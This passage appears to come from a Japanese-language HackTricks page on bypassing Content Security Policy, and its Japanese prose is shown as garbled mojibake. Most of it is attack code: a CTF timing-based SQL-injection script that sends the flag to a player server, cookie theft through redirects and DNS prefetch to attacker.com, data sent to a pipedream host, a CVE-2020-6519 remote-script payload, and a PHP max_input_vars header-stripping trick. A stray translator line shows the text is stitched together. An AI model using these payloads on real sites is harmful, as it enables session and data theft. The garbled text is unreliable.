fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
ãã®èšå®ãæªçšããŠãç»åã«æ¿å ¥ãããjavascriptã³ãŒããèªã¿èŸŒãããšãã§ããŸããäŸãã°ãããŒãžãTwitterããã®ç»åã®èªã¿èŸŒã¿ãèš±å¯ããŠããå Žåãç¹æ®ãªç»åãäœæããŠTwitterã«ã¢ããããŒãããâunsafe-inlineâãæªçšããŠéåžžã®XSSã®ããã«JSã³ãŒããå®è¡ããããã®ç»åãèªã¿èŸŒã¿ãããããJSãæœåºããŠå®è¡ããããšãã§ããŸã: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Service Workersã䜿ã£ãŠ
Service workers ã® importScripts 颿°ã¯ CSP ã«ãã£ãŠå¶éãããŸãã:
Policy Injection
調æ»: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
ããããªããéä¿¡ããparameterãpasted inside the declaration of the policyã«æ¿å ¥ãããå Žåãpolicyãäœããã®åœ¢ã§alterããŠç¡å¹åïŒit uselessïŒããããšãå¯èœã§ãã以äžã®ããããã®ãã€ãã¹ã§**allow script âunsafe-inlineâ**ãããããšãã§ããŸã:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
ãã®ãã£ã¬ã¯ãã£ã㯠æ¢åã® script-src ãã£ã¬ã¯ãã£ããäžæžãããŸãã
äŸã¯ãã¡ãã§ç¢ºèªã§ããŸã: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edge ã§ã¯ããã«ç°¡åã§ããCSP ã«ããã ãã远å ã§ããã°: ;_ãEdge ã¯ããªã·ãŒå
šäœã drop ããŸãã
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; XSS (iframe) çµç± - Time attack
ãã£ã¬ã¯ãã£ã 'unsafe-inline' ããªãããšã«æ³šæããŠãã ããã
ä»å㯠<iframe> ã䜿ã£ã XSS ã«ãã£ãŠè¢«å®³è
ã«ããªãã®ç®¡çããããŒãžã load ãããããšãã§ããŸããä»åã¯ãæ
å ±ãæœåºãããããŒãžãžè¢«å®³è
ã«ã¢ã¯ã»ã¹ãããŸãïŒCSRFïŒãããŒãžã®å
容ã«ã¯ã¢ã¯ã»ã¹ã§ããŸããããããããŒãžã®èªã¿èŸŒã¿ã«ãããæéãäœããã®æ¹æ³ã§ control ã§ããã°ãå¿
èŠãªæ
å ±ãæœåºã§ããŸãã
ä»å㯠flag ãæœåºããŸããSQLi ã«ãã£ãŠ char ãæ£ããæšæž¬ããã å Žåãsleep 颿°ã®ããã« response ãããæéãèŠãã ããã«ãªããŸãããããšãflag ãæœåºã§ããããã«ãªããŸãïŒ
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Bookmarklets ã䜿ã£ãæ»æ
ãã®æ»æã¯ãœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°ã䌎ããæ»æè ããŠãŒã¶ãŒã«ãã©ãŠã¶ã® bookmarklet ã®äžã«ãªã³ã¯ã drag and drop ãããã説åŸããããšãæ³å®ããŸãããã® bookmarklet ã«ã¯ malicious javascript ã³ãŒããå«ãŸããŠãããdrag&dropped ãŸãã¯ã¯ãªãã¯ããããšçŸåšã®ãŠã§ããŠã£ã³ããŠã®ã³ã³ããã¹ãã§å®è¡ãããCSP ããã€ãã¹ã㊠cookies ã tokens ã®ãããªæ©å¯æ å ±ãçãããšãã§ããŸãã
詳现ã¯check the original report hereãã芧ãã ããã
CSP ãå¶éã㊠CSP ããã€ãã¹
In this CTF writeup, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.
Iframe ã® CSP ãå¶éããã«ã¯ãcsp 屿§ã䜿çšã§ããŸã:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeupã§ã¯ãHTML injectionãä»ããŠCSPãããã«å¶éã§ãããããCSTIãé²ãã¹ã¯ãªãããç¡å¹åããããããã£ãŠvulnerability became exploitable.
CSPã¯HTML meta tagsã䜿çšããŠãã峿 Œã«èšå®ã§ããinline scriptsã¯ãããã®nonceãèš±å¯ããentryãremovingããããšã§ç¡å¹åã§ããshaã䜿ã£ãŠç¹å®ã®inline scriptãæå¹ã«ããããšãã§ããŸã:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
Content-Security-Policy-Report-Only ã䜿ã£ã JS exfiltration
ãµãŒããŒãããã Content-Security-Policy-Report-Only ãïŒããªããå¶åŸ¡ããå€ã§ïŒïŒCRLF çã®åœ±é¿ã§ïŒè¿ãããã«ã§ããã°ãã¬ããŒãå
ãããªãã®ãµãŒããŒã«åããããããšãã§ããŸããããã«ãexfiltrate ããã JS content ã <script> ã§ã©ãããããšãunsafe-inline ã CSP ã§èš±å¯ãããŠããå¯èœæ§ã¯éåžžã«äœããããããã CSP ãšã©ãŒãããªã¬ãŒ ããã¹ã¯ãªããã®äžéšïŒæ©å¯æ
å ±ãå«ãïŒã Content-Security-Policy-Report-Only ãéããŠããªãã®ãµãŒããŒã«éä¿¡ãããŸãã
äŸãšããŠã¯ check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
CSPãšIframeã«ãã Leaking Information
iframeãäœæãããCSP ã«ãã£ãŠèš±å¯ããã URLïŒäŸ:https://example.redirect.comïŒãæããŸãã- ãã® URL ã¯ãã®åŸãCSP ã«ãã£ãŠ èš±å¯ãããŠããªã ç§å¯ã® URLïŒäŸ:
https://usersecret.example2.comïŒã«ãªãã€ã¬ã¯ãããŸãã securitypolicyviolationã€ãã³ããç£èŠããããšã§ãblockedURIããããã£ãååŸã§ããŸãããã®ããããã£ã¯ãããã¯ããã URI ã®ãã¡ã€ã³ãæããã«ããåæã® URL ããªãã€ã¬ã¯ãããç§å¯ã®ãã¡ã€ã³ã leaking ããŸãã
Chrome ã Firefox ã®ãããªãã©ãŠã¶ã¯ CSP ã«é¢ãã iframe ã®æ±ãã§æåãç°ãªãç¹ã¯è峿·±ããæªå®çŸ©ã®æåã«ããæ©å¯æ å ±ã leak ããå¯èœæ§ããããŸãã
å¥ã®ææ³ãšããŠãCSP èªäœãæªçšããŠç§å¯ã®ãµããã¡ã€ã³ãæšæž¬ããæ¹æ³ããããŸãããã®ææ³ã¯äºåæ¢çŽ¢ã¢ã«ãŽãªãºã ã«äŸåããæå³çã«ãããã¯ããç¹å®ã®ãã¡ã€ã³ãå«ããããã« CSP ã調æŽããŸããäŸãã°ãç§å¯ã®ãµããã¡ã€ã³ãæªç¥ã®æåã§æ§æãããŠããå ŽåãCSP ãã£ã¬ã¯ãã£ãã倿ŽããŠãããã®ãµããã¡ã€ã³ããããã¯ãããã¯èš±å¯ããããšã§ãç°ãªããµããã¡ã€ã³ãå埩çã«ãã¹ãã§ããŸãã以äžã¯ãã®ææ³ã容æã«ããããã« CSP ãã©ã®ããã«èšå®ãããã瀺ãã¹ããããã§ã:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSPã«ãã£ãŠãããã¯ããããŸãã¯èš±å¯ããããªã¯ãšã¹ããç£èŠããããšã§ãç§å¯ãµããã¡ã€ã³ã®å¯èœãªæåãçµã蟌ã¿ãæçµçã«å®å šãªURLãç¹å®ããããšãã§ããã
ã©ã¡ãã®ææ³ããCSPã®å®è£ ããã©ãŠã¶ã§ã®æåã®åŸ®åŠãªéããçªããŠãããäžèŠå®å šãããªããªã·ãŒãçµæçã«æ©å¯æ å ±ã leak ããå¯èœæ§ãããããšã瀺ããŠããã
Trick from here.
CSP ããã€ãã¹ããå±éºãªæè¡
PHP: ãã©ã¡ãŒã¿ãå€ããããšãã®ãšã©ãŒ
According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code éä¿¡ãããªããªã because of the error that this will trigger.
PHP ã¬ã¹ãã³ã¹ãããã¡ã®ãªãŒããŒããŒã
PHPã¯ããã©ã«ãã§ ã¬ã¹ãã³ã¹ã4096ãã€ããŸã§ãããã¡ãªã³ã°ãã ãšç¥ãããŠããããããã£ãŠãPHPãèŠåãåºããŠããå ŽåãèŠåå
ã«ååãªããŒã¿ãå
¥ããããšã§ãã¬ã¹ãã³ã¹ãCSP headerãããå
ã«****éä¿¡ãããããšã«ãªãããã®ãããã¯ç¡èŠãããã
ãã®ææ³ã¯åºæ¬çã«ã¬ã¹ãã³ã¹ãããã¡ãèŠåã§åããããšã§CSPããããéä¿¡ãããªãããã«ããããšãããã®ã ã
Idea from this writeup.
max_input_vars ãå©çšã㊠CSP ãç¡å¹åãã (headers already sent)
ãããã¯åºåããåã«éä¿¡ãããªããã°ãªããªããããPHPãåºãèŠåã«ãã£ãŠåŸç¶ã® header() åŒã³åºããç¡å¹åãããããšãããããŠãŒã¶å
¥åã max_input_vars ãè¶
ãããšãPHPã¯æåã« startup warning ãæããïŒãã®åŸã® header('Content-Security-Policy: ...') 㯠âheaders already sentâ ã§å€±æããçµæçã« CSP ãç¡å¹åããããããã¯ãããŠãã reflective XSS ãèš±å¯ãããã
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
翻蚳ããã README.md ã®å 容ã貌ã£ãŠãã ãããã³ãŒããã¿ã°ããªã³ã¯ããã¹ã¯ãã®ãŸãŸæ®ããŠç¿»èš³ããŸãã
# CSP in place â payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() â CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
ãšã©ãŒããŒãžã®æžãæã
this writeupãã倿ãããšããšã©ãŒããŒãžïŒCSPãé©çšãããŠããªãå¯èœæ§ããïŒãèªã¿èŸŒã¿ããã®å å®¹ãæžãæããããšã§ CSP ä¿è·ãåé¿ã§ããããã§ãã
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + âselfâ + wordpress
SOMEã¯ãXSSïŒãŸãã¯éåžžã«éå®çãªXSSïŒãããŒãžã®ãããšã³ããã€ã³ãã§æªçšããŠãåäžãªãªãžã³ã®ä»ã®ãšã³ããã€ã³ããæªçšããææ³ã§ããããã¯æ»æè
ããŒãžããè匱ãªãšã³ããã€ã³ããèªã¿èŸŒã¿ããã®æ»æè
ããŒãžãæªçšãããåäžãªãªãžã³ã®å®éã®ãšã³ããã€ã³ããžãªãã¬ãã·ã¥ããããšã§å®è¡ãããŸããããããããšã§ãè匱ãªãšã³ããã€ã³ãã¯**opener**ãªããžã§ã¯ããpayloadå
ã§äœ¿çšããŠãæªçšå¯Ÿè±¡ã®å®éã®ãšã³ããã€ã³ãã®DOMã«ã¢ã¯ã»ã¹ã§ããŸããè©³çŽ°ã¯æ¬¡ãåç
§ããŠãã ããïŒ
SOME - Same Origin Method Execution
ããã«ãwordpressã«ã¯/wp-json/wp/v2/users/1?_jsonp=dataã«JSONPãšã³ããã€ã³ãããããéä¿¡ããdataãåºåã«reflectããŸãïŒè±åã»æ°åã»ãããã®ã¿èš±å¯ãšããå¶éä»ãïŒã
æ»æè
ã¯ãã®ãšã³ããã€ã³ããæªçšããŠWordPressã«å¯ŸããSOME attackãçæãã<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> ã®äžã«embedããããšãã§ããŸãããªããã®scriptã¯**âselfâ ã«ãã£ãŠèš±å¯ãããŠããããloadedãããŸããããã«ãWordPressãã€ã³ã¹ããŒã«ãããŠãããããæ»æè
ã¯è匱ãªcallbackãšã³ããã€ã³ããéããŠSOME attack**ãæªçšããbypasses the CSPããŠãŠãŒã¶ãŒã«ããå€ãã®æš©éãäžããããæ°ãããã©ã°ã€ã³ãã€ã³ã¹ããŒã«ãããããå¯èœæ§ããããŸãâŠ
ãã®æ»æã®å®è¡æ¹æ³ã®è©³çްã«ã€ããŠã¯æ¬¡ãåç
§ããŠãã ãã: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP æ å ±æã¡åºããã€ãã¹
峿 ŒãªCSPã«ããå€éšãµãŒããŒãšããåãããããšãèš±å¯ãããŠããªãå Žåã§ããæ å ±ãæã¡åºãããã«åžžã«ã§ããããšãããã€ããããŸãã
Location
åçŽã«locationãæŽæ°ããŠãç§å¯æ å ±ãæ»æè ã®ãµãŒããŒã«éãããšãã§ããŸãïŒ
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
meta tagãæ³šå ¥ããŠãªãã€ã¬ã¯ãã§ããŸãïŒããã¯åãªããªãã€ã¬ã¯ãã§ãã³ã³ãã³ããleakããããšã¯ãããŸããïŒ
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
ããŒãžãããéãèªã¿èŸŒãããããã©ãŠã¶ã¯ãã¹ãåãäºåã«è§£æ±ºããŠIPã¢ãã¬ã¹ã«å€æããåŸã§äœ¿çšããããã«ãã£ãã·ã¥ããŸãã
ãã©ãŠã¶ã«ãã¹ãåãäºå解決ãããã«ã¯: <link rel="dns-prefetch" href="something.com">
ãã®æåãæªçšã㊠exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
å¥ã®æ¹æ³:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
ãã®ãããªäºæ ãé²ãããã«ããµãŒããŒã¯æ¬¡ã® HTTP header ãéä¿¡ã§ããŸã:
X-DNS-Prefetch-Control: off
Tip
ã©ãããããã®ææ³ã¯ headless browsers (bots) ã§ã¯åäœããªãããã§ã
WebRTC
ããã€ãã®ããŒãžã§ã¯ãWebRTCãCSPã®connect-srcããªã·ãŒããã§ãã¯ããªããšæžãããŠããŸãã
å®éã«ã¯ãDNS request ã䜿ã£ãŠæ å ±ã leak ããããšãã§ããŸãã以äžã®ã³ãŒããèŠãŠãã ãã:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
å¥ã®ãªãã·ã§ã³:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
è³æ Œæ å ±ãããã¢ããã¯ãããŒãžã«ãã£ãŠå¶éãããããšãªãiconURLã«å¯ŸããŠDNSãªã¯ãšã¹ããéä¿¡ããŸããããã¯å®å šãªã³ã³ããã¹ãïŒHTTPSïŒãŸãã¯localhostäžã§ã®ã¿åäœããŸãã
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSPããªã·ãŒããªã³ã©ã€ã³ã§ç¢ºèª
CSPã®èªåçæ
https://csper.io/docs/generating-content-security-policy
åèæç®
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTFâborn exploits and techniques
â
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


